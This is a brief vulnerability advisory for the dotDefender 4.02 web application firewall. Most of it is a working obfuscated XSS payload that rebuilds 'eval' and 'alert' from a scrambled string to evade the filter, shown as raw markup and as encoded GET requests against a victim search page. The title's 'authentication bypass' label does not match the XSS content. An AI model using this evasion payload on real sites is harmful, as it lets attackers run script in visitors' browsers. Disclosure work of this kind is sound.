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dotDefender 4.02 Authentication Bypass Vulnerability
dotDefender is prone to a XSS because it doesn't satinate the input vars
correctly. Injecting obfusctated JavaScript code based on references vars
assignment, the dotDefender WAF is vulnerable.
Class: Input Validation Error
Remote: Yes
Credit: David K. (SH4V)
Vulnerable: till 4.02
Exploit:
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source
)" /> //POST
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(
/0wn3d/.source)" /> //GET
EXAMPLES:
Blocked:
[victim]/search?q=%3Cimg%20src=%22WTF%22%20onError=%22{var%20{3:s,2:h,5:
a,0:v,4:n,1:e}
=%27earltv%27}[self][0][v%2Ba%2Be%2Bs]%28e%2Bs%2Bv%2Bh%2Bn%29%28/0wn3d/.
source%
29%22%20/%3E
Unblocked:
[victim]/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)
%20/%3E
More information here:
http://n3t-datagrams.net/docs/?/=21
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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1